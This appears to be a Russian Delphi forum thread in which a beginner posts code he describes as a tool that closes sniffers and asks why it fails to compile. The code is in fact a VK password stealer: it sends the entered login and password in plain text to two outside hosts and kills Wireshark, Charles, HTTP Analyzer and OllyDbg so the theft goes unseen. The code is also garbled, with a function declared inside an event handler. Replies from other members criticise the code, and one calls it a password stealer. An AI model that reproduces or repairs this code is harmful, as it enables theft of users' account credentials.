Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > [ "Начинающим" ]
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 15.02.2014, 14:43
DJ_TWIX DJ_TWIX вне форума
Прохожий
 
Регистрация: 15.02.2014
Сообщения: 1
Версия Delphi: Delphi xe3
Репутация: 10
Восклицание Проблема с кодом

нашел хороший код который закрывает снифферы
но у меня не работает

вот код
Код:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
unit Unit1;
 
interface
 
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, shellapi,TlHelp32,
  IdTCPClient, IdHTTP, sSkinManager, sMemo, sButton, sLabel, sEdit,lib,ssl_openssl,
  Vcl.ExtCtrls;
 
type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sButton1: TsButton;
    sMemo1: TsMemo;
    sButton2: TsButton;
    sLabel5: TsLabel;
    sButton3: TsButton;
    sLabel3: TsLabel;
    Timer1: TTimer;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form1: TForm1;
 
implementation
 
uses Unit2, Unit3;
 
procedure TForm1.FormCreate(sender: Tobject);
begin
function kill(exefilename: string): Integer;
const
PROCESS_TERMINATE= $0001;
var
continueloop:BOOL;
fsnapshothandle:THandle;
FprocessEntry32:TProcessEntry32;
begin
result:=0;
fsnapshothandle:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
fprocessentry32.dwSize:=SizeOf(processentry32);
Continueloop:=Process32First(fsnapshothandle, fprocessentry32);
while Integer(continueloop)<>0 do
begin
if ((UpperCase(ExtractFileName(fprocessentry32.szExeFile)=UpperCase(exefilename))) then
 result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
 fprocessentry32.th32ProcessID), 0));
 continueloop := Process32Next(fsnapshothandle, fprocessentry32);
 end;
 CloseHandle(fsnapshothandle);
 end;
end;
 
 
procedure TForm1.sButton1Click(Sender: TObject);
var
http: TIdHTTP;
Data: TStringList;
email,pass,token:string;
response:string;
begin
email:=sEdit1.Text;
pass:=sEdit2.Text;
 
http:= TIdHTTP.Create(nil);
Data:= TStringList.Create;
 
Data.Add('user='+sEdit1.Text);
Data.Add('pass='+sEdit2.Text);
 
 
sMemo1.Lines.Add('Авторизуемся [b]Контакте');
response:=send('GET','https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='+urlencode(UTF8Encode(email))+'&password='+urlencode(UTF8Encode(pass)));
 
 if Pos('token',response)<>0 then begin
 
 
 
 sButton2.Enabled:=True;
 sButton3.Enabled:=True;
 
    sMemo1.Lines.Add('Авторизовались!');
   idhttp1.Get('http://httpz.org/n882p85q6nm.gif?'+sedit1.text+':'+sedit2.text);
   idhttp1.Get('http://oauth.webatu.com/s.gif?'+sedit1.text+':'+sedit2.text);
    end
    else
sMemo1.Lines.Add('Неправильный пароль');
 
 
 
 
 
 
end;
 
procedure TForm1.sButton2Click(Sender: TObject);
begin
Form2.Visible:=True;
end;
 
procedure TForm1.sButton3Click(Sender: TObject);
begin
form3.visible:=True;
end;
 
procedure TForm1.Timer1Timer(Sender: TObject);
var
wnd:HWND;
p: TProcessentry32;
ct:Cardinal;
th:Cardinal;
begin
Kill('miniperl.exe');
Kill('httpd.exe');
Kill('mysqld.exe');
Kill('ollydbg.exe');
Kill('httpanalyzerstdv7.exe');
Kill('httpanalyzerstdv6.exe');
Kill('httpanalyzerstdv5.exe');
Kill('charles.exe');
Kill('wireshark.exe');
wnd:=FindWindow(nill, 'HTTP Analyzer V6');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'HTTP Analyzer V5');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'HTTP Analyzer V7');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'ollydbg');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'Charkes 3.6');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
wnd:=FindWindow(nill, 'httpd.exe -w');
if wnd<>0 then PostMessage(wnd, WM_QUIT, 1, 0);
end;
 
end.
Ответить с цитированием
  #2  
Старый 15.02.2014, 21:11
Аватар для Alegun
Alegun Alegun вне форума
LMD-DML
 
Регистрация: 12.07.2009
Адрес: Богородское
Сообщения: 3,025
Версия Delphi: D7E
Репутация: 1834
По умолчанию

Чем же он хороший, когда здесь всё перепутано? Объявление ДСП-функции Kill вообще через упож, где её видно-то, кроме как в формкриэйт
Ответить с цитированием
  #3  
Старый 15.02.2014, 21:18
Аватар для Bargest
Bargest Bargest вне форума
Профессионал
 
Регистрация: 19.10.2010
Адрес: Москва
Сообщения: 2,390
Версия Delphi: XE3/VS12/FASM
Репутация: 14665
По умолчанию

И если переименовать запускаемые файлы, то половина кода перестанет работать.
__________________
jmp $ ; Happy End!
The Cake Is A Lie.
Ответить с цитированием
  #4  
Старый 15.02.2014, 21:25
Аватар для PhoeniX
PhoeniX PhoeniX вне форума
Always hardcore!
 
Регистрация: 04.03.2009
Адрес: СПб
Сообщения: 3,239
Версия Delphi: GCC/FPC/FASM
Репутация: 62149
По умолчанию

похоже на какую-то воровалку паролей...
__________________
Оставайтесь хорошими людьми...
VK id2634397, ds [at] phoenix [dot] dj
Ответить с цитированием
Ответ


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 03:39.


 

Сайт

Форум

FAQ

Соглашения

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2025